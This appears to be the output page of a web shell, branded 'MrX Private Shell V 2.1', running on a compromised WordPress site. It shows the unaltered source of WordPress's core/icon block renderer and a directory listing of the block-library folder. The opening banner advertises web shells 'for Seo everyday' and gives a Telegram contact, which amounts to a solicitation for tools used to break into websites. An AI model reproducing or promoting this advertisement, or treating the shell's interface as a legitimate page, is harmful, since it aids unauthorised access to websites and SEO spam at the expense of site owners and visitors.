__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Server-side rendering of the `core/icon` block.
*
* @package WordPress
*/
/**
* Renders the `core/icon` block on server.
*
* @since 7.0.0
*
* @param array $attributes The block attributes.
* @param string $content The block content.
* @param WP_Block $block The block instance.
*
* @return string Returns the Icon.
*/
function render_block_core_icon( $attributes ) {
if ( empty( $attributes['icon'] ) ) {
return;
}
$registry = WP_Icons_Registry::get_instance();
$icon = $registry->get_registered_icon( $attributes['icon'] );
if ( is_null( $icon ) ) {
return;
}
// Text color and background color.
$color_styles = array();
$preset_text_color = array_key_exists( 'textColor', $attributes ) ? "var:preset|color|{$attributes['textColor']}" : null;
$custom_text_color = $attributes['style']['color']['text'] ?? null;
$color_styles['text'] = $preset_text_color ? $preset_text_color : $custom_text_color;
$preset_background_color = array_key_exists( 'backgroundColor', $attributes ) ? "var:preset|color|{$attributes['backgroundColor']}" : null;
$custom_background_color = $attributes['style']['color']['background'] ?? null;
$color_styles['background'] = $preset_background_color ? $preset_background_color : $custom_background_color;
// Border.
$border_styles = array();
$sides = array( 'top', 'right', 'bottom', 'left' );
if ( isset( $attributes['style']['border']['radius'] ) ) {
$border_styles['radius'] = $attributes['style']['border']['radius'];
}
if ( isset( $attributes['style']['border']['style'] ) ) {
$border_styles['style'] = $attributes['style']['border']['style'];
}
if ( isset( $attributes['style']['border']['width'] ) ) {
$border_styles['width'] = $attributes['style']['border']['width'];
}
$preset_color = array_key_exists( 'borderColor', $attributes ) ? "var:preset|color|{$attributes['borderColor']}" : null;
$custom_color = $attributes['style']['border']['color'] ?? null;
$border_styles['color'] = $preset_color ? $preset_color : $custom_color;
foreach ( $sides as $side ) {
$border = $attributes['style']['border'][ $side ] ?? null;
$border_styles[ $side ] = array(
'color' => $border['color'] ?? null,
'style' => $border['style'] ?? null,
'width' => $border['width'] ?? null,
);
}
// Spacing (Padding).
$spacing_styles = array();
if ( isset( $attributes['style']['spacing']['padding'] ) ) {
$spacing_styles['padding'] = $attributes['style']['spacing']['padding'];
}
// Dimensions (Width).
$dimensions_styles = array();
if ( isset( $attributes['style']['dimensions']['width'] ) ) {
$dimensions_styles['width'] = $attributes['style']['dimensions']['width'];
}
// Generate styles and classes.
$styles = wp_style_engine_get_styles(
array(
'color' => $color_styles,
'border' => $border_styles,
'spacing' => $spacing_styles,
'dimensions' => $dimensions_styles,
),
);
$processor = new WP_HTML_Tag_Processor( $icon['content'] );
$processor->next_tag( 'svg' );
if ( ! empty( $styles['css'] ) ) {
$processor->set_attribute( 'style', $styles['css'] );
}
if ( ! empty( $styles['classnames'] ) ) {
$processor->add_class( $styles['classnames'] );
}
$aria_label = ! empty( $attributes['ariaLabel'] ) ? $attributes['ariaLabel'] : '';
if ( ! $aria_label ) {
// Icon is decorative, hide it from screen readers.
$processor->set_attribute( 'aria-hidden', 'true' );
$processor->set_attribute( 'focusable', 'false' );
} else {
$processor->set_attribute( 'role', 'img' );
$processor->set_attribute( 'aria-label', $aria_label );
}
// Return the updated SVG markup.
$svg = $processor->get_updated_html();
$attributes = get_block_wrapper_attributes();
return sprintf( '<div %s>%s</div>', $attributes, $svg );
}
/**
* Registers the `core/icon` block on server.
*
* @since 7.0.0
*/
function register_block_core_icon() {
register_block_type_from_metadata(
__DIR__ . '/icon',
array(
'render_callback' => 'render_block_core_icon',
)
);
}
add_action( 'init', 'register_block_core_icon' );
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| accordion | Folder | 0755 |
|
|
| accordion-heading | Folder | 0755 |
|
|
| accordion-item | Folder | 0755 |
|
|
| accordion-panel | Folder | 0755 |
|
|
| archives | Folder | 0755 |
|
|
| audio | Folder | 0755 |
|
|
| avatar | Folder | 0755 |
|
|
| block | Folder | 0755 |
|
|
| breadcrumbs | Folder | 0755 |
|
|
| button | Folder | 0755 |
|
|
| buttons | Folder | 0755 |
|
|
| calendar | Folder | 0755 |
|
|
| categories | Folder | 0755 |
|
|
| code | Folder | 0755 |
|
|
| column | Folder | 0755 |
|
|
| columns | Folder | 0755 |
|
|
| comment-author-name | Folder | 0755 |
|
|
| comment-content | Folder | 0755 |
|
|
| comment-date | Folder | 0755 |
|
|
| comment-edit-link | Folder | 0755 |
|
|
| comment-reply-link | Folder | 0755 |
|
|
| comment-template | Folder | 0755 |
|
|
| comments | Folder | 0755 |
|
|
| comments-pagination | Folder | 0755 |
|
|
| comments-pagination-next | Folder | 0755 |
|
|
| comments-pagination-numbers | Folder | 0755 |
|
|
| comments-pagination-previous | Folder | 0755 |
|
|
| comments-title | Folder | 0755 |
|
|
| cover | Folder | 0755 |
|
|
| details | Folder | 0755 |
|
|
| embed | Folder | 0755 |
|
|
| file | Folder | 0755 |
|
|
| footnotes | Folder | 0755 |
|
|
| freeform | Folder | 0755 |
|
|
| gallery | Folder | 0755 |
|
|
| group | Folder | 0755 |
|
|
| heading | Folder | 0755 |
|
|
| home-link | Folder | 0755 |
|
|
| html | Folder | 0755 |
|
|
| icon | Folder | 0755 |
|
|
| image | Folder | 0755 |
|
|
| latest-comments | Folder | 0755 |
|
|
| latest-posts | Folder | 0755 |
|
|
| legacy-widget | Folder | 0755 |
|
|
| list | Folder | 0755 |
|
|
| list-item | Folder | 0755 |
|
|
| loginout | Folder | 0755 |
|
|
| math | Folder | 0755 |
|
|
| media-text | Folder | 0755 |
|
|
| missing | Folder | 0755 |
|
|
| more | Folder | 0755 |
|
|
| navigation | Folder | 0755 |
|
|
| navigation-link | Folder | 0755 |
|
|
| navigation-overlay-close | Folder | 0755 |
|
|
| navigation-submenu | Folder | 0755 |
|
|
| nextpage | Folder | 0755 |
|
|
| page-list | Folder | 0755 |
|
|
| page-list-item | Folder | 0755 |
|
|
| paragraph | Folder | 0755 |
|
|
| pattern | Folder | 0755 |
|
|
| post-author | Folder | 0755 |
|
|
| post-author-biography | Folder | 0755 |
|
|
| post-author-name | Folder | 0755 |
|
|
| post-comments-count | Folder | 0755 |
|
|
| post-comments-form | Folder | 0755 |
|
|
| post-comments-link | Folder | 0755 |
|
|
| post-content | Folder | 0755 |
|
|
| post-date | Folder | 0755 |
|
|
| post-excerpt | Folder | 0755 |
|
|
| post-featured-image | Folder | 0755 |
|
|
| post-navigation-link | Folder | 0755 |
|
|
| post-template | Folder | 0755 |
|
|
| post-terms | Folder | 0755 |
|
|
| post-time-to-read | Folder | 0755 |
|
|
| post-title | Folder | 0755 |
|
|
| preformatted | Folder | 0755 |
|
|
| pullquote | Folder | 0755 |
|
|
| query | Folder | 0755 |
|
|
| query-no-results | Folder | 0755 |
|
|
| query-pagination | Folder | 0755 |
|
|
| query-pagination-next | Folder | 0755 |
|
|
| query-pagination-numbers | Folder | 0755 |
|
|
| query-pagination-previous | Folder | 0755 |
|
|
| query-title | Folder | 0755 |
|
|
| query-total | Folder | 0755 |
|
|
| quote | Folder | 0755 |
|
|
| read-more | Folder | 0755 |
|
|
| rss | Folder | 0755 |
|
|
| search | Folder | 0755 |
|
|
| separator | Folder | 0755 |
|
|
| shortcode | Folder | 0755 |
|
|
| site-logo | Folder | 0755 |
|
|
| site-tagline | Folder | 0755 |
|
|
| site-title | Folder | 0755 |
|
|
| social-link | Folder | 0755 |
|
|
| social-links | Folder | 0755 |
|
|
| spacer | Folder | 0755 |
|
|
| table | Folder | 0755 |
|
|
| tag-cloud | Folder | 0755 |
|
|
| template-part | Folder | 0755 |
|
|
| term-count | Folder | 0755 |
|
|
| term-description | Folder | 0755 |
|
|
| term-name | Folder | 0755 |
|
|
| term-template | Folder | 0755 |
|
|
| terms-query | Folder | 0755 |
|
|
| text-columns | Folder | 0755 |
|
|
| verse | Folder | 0755 |
|
|
| video | Folder | 0755 |
|
|
| widget-group | Folder | 0755 |
|
|
| accordion-item.php | File | 2.97 KB | 0644 |
|
| accordion.php | File | 1.12 KB | 0644 |
|
| archives.php | File | 4.28 KB | 0644 |
|
| avatar.php | File | 5.5 KB | 0644 |
|
| block.php | File | 4.09 KB | 0644 |
|
| blocks-json.php | File | 194.46 KB | 0644 |
|
| breadcrumbs.php | File | 18.61 KB | 0644 |
|
| button.php | File | 1.71 KB | 0644 |
|
| calendar.php | File | 5.93 KB | 0644 |
|
| categories.php | File | 4.82 KB | 0644 |
|
| comment-author-name.php | File | 2.08 KB | 0644 |
|
| comment-content.php | File | 2.4 KB | 0644 |
|
| comment-date.php | File | 1.82 KB | 0644 |
|
| comment-edit-link.php | File | 1.67 KB | 0644 |
|
| comment-reply-link.php | File | 2.03 KB | 0644 |
|
| comment-template.php | File | 4.39 KB | 0644 |
|
| comments-pagination-next.php | File | 1.88 KB | 0644 |
|
| comments-pagination-numbers.php | File | 1.59 KB | 0644 |
|
| comments-pagination-previous.php | File | 1.75 KB | 0644 |
|
| comments-pagination.php | File | 1.23 KB | 0644 |
|
| comments-title.php | File | 2.72 KB | 0644 |
|
| comments.php | File | 6.63 KB | 0644 |
|
| cover.php | File | 7.25 KB | 0644 |
|
| details.php | File | 1.46 KB | 0644 |
|
| file.php | File | 1.83 KB | 0644 |
|
| footnotes.php | File | 3.73 KB | 0644 |
|
| gallery.php | File | 8.85 KB | 0644 |
|
| heading.php | File | 1.27 KB | 0644 |
|
| home-link.php | File | 5.31 KB | 0644 |
|
| icon.php | File | 4.04 KB | 0644 |
|
| image.php | File | 17.25 KB | 0644 |
|
| index.php | File | 4.99 KB | 0644 |
|
| latest-comments.php | File | 5.36 KB | 0644 |
|
| latest-posts.php | File | 8.64 KB | 0644 |
|
| legacy-widget.php | File | 3.92 KB | 0644 |
|
| list.php | File | 1.24 KB | 0644 |
|
| loginout.php | File | 1.63 KB | 0644 |
|
| media-text.php | File | 4.2 KB | 0644 |
|
| navigation-link.php | File | 15.84 KB | 0644 |
|
| navigation-overlay-close.php | File | 1.72 KB | 0644 |
|
| navigation-submenu.php | File | 11.47 KB | 0644 |
|
| navigation.php | File | 63.3 KB | 0644 |
|
| page-list-item.php | File | 361 B | 0644 |
|
| page-list.php | File | 14.72 KB | 0644 |
|
| paragraph.php | File | 1.11 KB | 0644 |
|
| pattern.php | File | 1.75 KB | 0644 |
|
| post-author-biography.php | File | 1.49 KB | 0644 |
|
| post-author-name.php | File | 1.91 KB | 0644 |
|
| post-author.php | File | 2.67 KB | 0644 |
|
| post-comments-count.php | File | 1.25 KB | 0644 |
|
| post-comments-form.php | File | 2.74 KB | 0644 |
|
| post-comments-link.php | File | 2.18 KB | 0644 |
|
| post-content.php | File | 2.29 KB | 0644 |
|
| post-date.php | File | 3.57 KB | 0644 |
|
| post-excerpt.php | File | 4.21 KB | 0644 |
|
| post-featured-image.php | File | 9.03 KB | 0644 |
|
| post-navigation-link.php | File | 4.69 KB | 0644 |
|
| post-template.php | File | 5.55 KB | 0644 |
|
| post-terms.php | File | 3.55 KB | 0644 |
|
| post-time-to-read.php | File | 6.26 KB | 0644 |
|
| post-title.php | File | 2.09 KB | 0644 |
|
| query-no-results.php | File | 1.8 KB | 0644 |
|
| query-pagination-next.php | File | 3.59 KB | 0644 |
|
| query-pagination-numbers.php | File | 4.59 KB | 0644 |
|
| query-pagination-previous.php | File | 3.39 KB | 0644 |
|
| query-pagination.php | File | 1.15 KB | 0644 |
|
| query-title.php | File | 2.71 KB | 0644 |
|
| query-total.php | File | 2.41 KB | 0644 |
|
| query.php | File | 5.56 KB | 0644 |
|
| read-more.php | File | 1.79 KB | 0644 |
|
| require-dynamic-blocks.php | File | 4.86 KB | 0644 |
|
| require-static-blocks.php | File | 520 B | 0644 |
|
| rss.php | File | 4.5 KB | 0644 |
|
| search.php | File | 23.26 KB | 0644 |
|
| shortcode.php | File | 735 B | 0644 |
|
| site-logo.php | File | 6.19 KB | 0644 |
|
| site-tagline.php | File | 1.17 KB | 0644 |
|
| site-title.php | File | 1.82 KB | 0644 |
|
| social-link.php | File | 66.02 KB | 0644 |
|
| tag-cloud.php | File | 1.55 KB | 0644 |
|
| template-part.php | File | 10.2 KB | 0644 |
|
| term-count.php | File | 1.8 KB | 0644 |
|
| term-description.php | File | 1.73 KB | 0644 |
|
| term-name.php | File | 1.99 KB | 0644 |
|
| term-template.php | File | 4.41 KB | 0644 |
|
| video.php | File | 2.67 KB | 0644 |
|
| widget-group.php | File | 2.38 KB | 0644 |
|